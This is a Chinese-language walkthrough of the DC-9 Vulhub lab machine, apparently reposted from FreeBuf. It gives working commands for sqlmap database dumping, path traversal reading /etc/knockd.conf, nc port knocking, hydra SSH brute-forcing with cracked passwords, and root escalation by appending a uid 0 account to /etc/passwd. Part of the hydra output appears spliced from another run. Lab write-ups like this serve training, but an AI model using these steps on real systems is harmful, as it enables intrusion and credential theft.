Vulhub靶场练习 DC-9靶机解析
2024-2-28 09:15:36 Author: www.freebuf.com(查看原文) 阅读量:14 收藏

一、搭建环境

kali的IP地址是:192.168.200.14

DC-9的IP地址暂时未知

二、信息收集

1、探索同网段下存活的主机

arp-scan -l #

1707181980_65c1879c5151243dc5901.png!small?1707181981235

2、探索开放的端口

1707181989_65c187a5e995989e0e800.png!small?1707181990821

开启端口有:80和22端口

3、目录扫描

1707182000_65c187b004be509a64ee0.png!small?1707182000880

访问80 端口显示的主页面

1707182007_65c187b7c33b3e6e15a5f.png!small?1707182008907

分别点击其他几个页面

可以看到是用户的信息

1707182016_65c187c0bb7360004f7b0.png!small?1707182017890

此页面下出现的搜索框。可能会存在xss漏洞和SQL注入漏洞

1707182025_65c187c9b2c124554a9fb.png!small?1707182026641

最后一个需要正确输入用户名和密码才可以登录

1707182038_65c187d6a80c9b249d350.png!small?1707182039605

输入什么都会跳转这个页面

1707182048_65c187e013168fe42b63f.png!small?1707182048879

用抓包的形式进行尝试,点击进行抓包测试

三、漏洞探测

sql注入

运用工具SQLMAP

1707182059_65c187eb3c4df9f674734.png!small?1707182060162

将捕获的数据要包放到sqlmap的安装目录下,创建一个新的文件

1707182070_65c187f6d8861d338531e.png!small?1707182071753

在cmd命令行上输入以下指令

1、获得数据库

python sqlmap.py -r 1.txt --dbs --batch # 第一种方法
python sqlmap.py -u "http://192.168.200.6/results.php" --data "search=1" --dbs 第二种方法

1707182083_65c188039177ebe118e60.png!small?1707182084530

2、获取数据表

python sqlmap.py -r 1.txt -D Staff --tables # 第一种方法
python sqlmap.py -u "http://192.168.200.6/results.php" --data "search=1" -D Staff --tables
# 第二种方法

1707182094_65c1880ef1e8d74ffa893.png!small?1707182095787

3、爆字段

sqlmap.py -r 1.txt -D Staff -T Users --columns # 第一种方法

python sqlmap.py -u "http://192.168.200.6/results.php" --data "search=1" -D Staff -T Users --columns
# 第二种方法

1707182103_65c18817a58baf7a9feee.png!small?1707182104590

4、暴内容

python sqlmap -u "http://192.168.200.6/results.php" --data "search=1" -D Staff -T Users --dump
# 第一种方法
python sqlmap.py -r 1.txt -D Staff -T Users --dump # 第二种方法

1707182134_65c1883656d580ba0f732.png!small?1707182135176

+--------+----------+----------------------------------+
| UserID | Username | Password                         |
+--------+----------+----------------------------------+
| 1      | admin    | 856f5de590ef37314e7c3bdf6f8a66dc |
+--------+----------+----------------------------------+

经过md5加密的admin用户密码,在线md5解码一下

账号:admin  
密码:transorbital1

登录成功

1707182166_65c18856dff0121505473.png!small?1707182167855

爆破另外一个数据库(Users)(只是用使用一种方法)

1、爆破数据库

python sqlmap.py -r 1.txt --dbs --batch

1707182176_65c1886090a4ac94bba0c.png!small?1707182177437

2、获取数据库

python sqlmap.py -r 1.txt -D Users --tables

1707182188_65c1886cb3cbea8bfc092.png!small?1707182189478

3、爆破字段

python sqlmap.py -r 1.txt -D users -T UserDetails --columns

1707182196_65c18874e7a8733abd975.png!small?1707182197712

4、爆破内容

python sqlmap.py -r 1.txt -D users -T UserDetails --dump

python sqlmap -r 1.txt -D users -T UserDetails -C username,password --dump

1707182206_65c1887e5a7c0d3f2dc3f.png!small?1707182207481

回到原网页

文件包含

根据底部的信息File does not exist,可以推断,有可能存在文件包含漏洞

1707182215_65c18887dacd1fa4cffef.png!small?1707182217047

选择manage.php进行尝试文件包含漏洞,成功,经过百度,可以知道有个敲门打开SSH端口的事情

1707182223_65c1888f1f276973129e8.png!small?1707182224049

端口保护之端口敲门

大致就是按一定的顺序访问端口可以达到开启和关闭某个端口的机制

通过查看../../../../etc/knockd.conf文件,结合搜索到的相关知识,知道用nc分别去尝试这三个端口可以打开SSH端口

通过查看../../../../etc/knockd.conf文件,结合搜索到的相关知识,
知道用nc分别去尝试这三个端口可以打开SSH端口

经过百度,进行敲门

nc 192.168.200.6 7469

nc 192.168.200.6 8475

nc 192.168.200.6 9842

nmap再次扫描一下发现22端口开放了,amazing!!!!!

1707182231_65c18897467cb40e5c248.png!small?1707182232373

使用之前得到的用户名和密码去爆破ssh服务

hydra -L username.txt -P password.txt ssh://192.168.200.6 

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-31 04:04:48
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 289 login tries (l:17/p:17), ~19 tries per task
[DATA] attacking ssh://10.0.0.28:22/
[22][ssh] host: 192.168.200.6   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.200.6   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.200.6   login: janitor   password: Ilovepeepee
1 of 1 target successfully completed, 3 valid passwords found

三个用户家目录下什么也没有

按顺序先选择fredf登录B4-Tru3-001

ssh [email protected]

查看sudo -l成功

1707182243_65c188a36b5156fad4cf6.png!small?1707182244506

1707182248_65c188a88d5787358650b.png!small?1707182250087

选择chandlerb登录UrAG0D!

ssh [email protected]

查看sudo -l失败

1707182259_65c188b3d1293755a28b4.png!small?1707182260797

选择joeyt登录Passw0rd

ssh [email protected]

查看sudo -l失败

1707182267_65c188bb98a3a0372e081.png!small?1707182268737

选择janitor登录Ilovepeepee

ssh [email protected]

查看sudo -l失败

1707182275_65c188c3bad42786a6b32.png!small?1707182277079

使用janitor登陆,发现了一个密码文件,使用janitor登陆,发现了一个密码文件

janitor@dc-9:~$ ls -al
total 20
drwx------  4 janitor janitor 4096 Aug 31 18:38 .
drwxr-xr-x 19 root    root    4096 Dec 29  2019 ..
lrwxrwxrwx  1 janitor janitor    9 Dec 29  2019 .bash_history -> /dev/null
drwx------  3 janitor janitor 4096 Aug 31 18:05 .gnupg
drwx------  2 janitor janitor 4096 Dec 29  2019 .secrets-for-putin
-rw-r--r--  1 janitor janitor    6 Aug 31 18:42 test.txt
janitor@dc-9:~$ cd .secrets-for-putin/
janitor@dc-9:~/.secrets-for-putin$ ls
passwords-found-on-post-it-notes.txt
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt 
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts


[22][ssh] host: 192.168.200.6   login: fredf   password: B4-Tru3-001

经过四个账户的查询发现只有fredf有一定权限

cd /opt/devstuff/dist/test/
ls -al

1707182284_65c188cc73ca03bb1717c.png!small?1707182285978

可以发现他具有一个特殊权限,可以运行一个test脚本。

fredf@dc-9:~$  /opt/devstuff/dist/test/test --help
Usage: python test.py read append
fredf@dc-9:~$ 
# 这个test的作用就是把一个文件中的内容append到另一个文件中。
我们首先想到利用test往passwd文件中写入用户信息,便这个用户口令必须是加密过的。

1707182292_65c188d48a295184d1028.png!small?1707182294033

提权

在janitor中发现了几个密码,加到我们的密码字典中

然后再次使用hydra爆破发现了第四个可以用ssh登录的账号和密码

登录后sudo -l发现test文件有root权限

1707182302_65c188de01610fe76f0bc.png!small?1707182302794

1707182307_65c188e35321569db2775.png!small?1707182308139

切换到test目录看下,找下这个test.py,在/opt/devstuff目录下,脚本的作用就是将第一个文件的内容附加到另一个文件里面去

1707182315_65c188eb4dcd77aea92ad.png!small?1707182316300

在etc/passwd文件里进行写入账号密码

运行脚本的时候最好切换到test目录下,test.py的路径为绝对路径

openssl passwd -1 -salt dc 123456
echo 'dc:$1$dc$5uDk4oYnRiBs0fFGlcRwy.:0:0:root:/bin/bash' >> /tmp/dc
sudo ./test /tmp/dc /etc/passwd

3.按照/etc/passwd的格式写一个文件,通过test脚本追加到/etc/passwd中即可提权,运行脚本的时候最好切换到test目录下,test.py的路径为绝对路径

1707182340_65c1890433ebf094761c9.png!small?1707182341184


文章来源: https://www.freebuf.com/articles/web/391632.html
如有侵权请联系:admin#unsafe.sh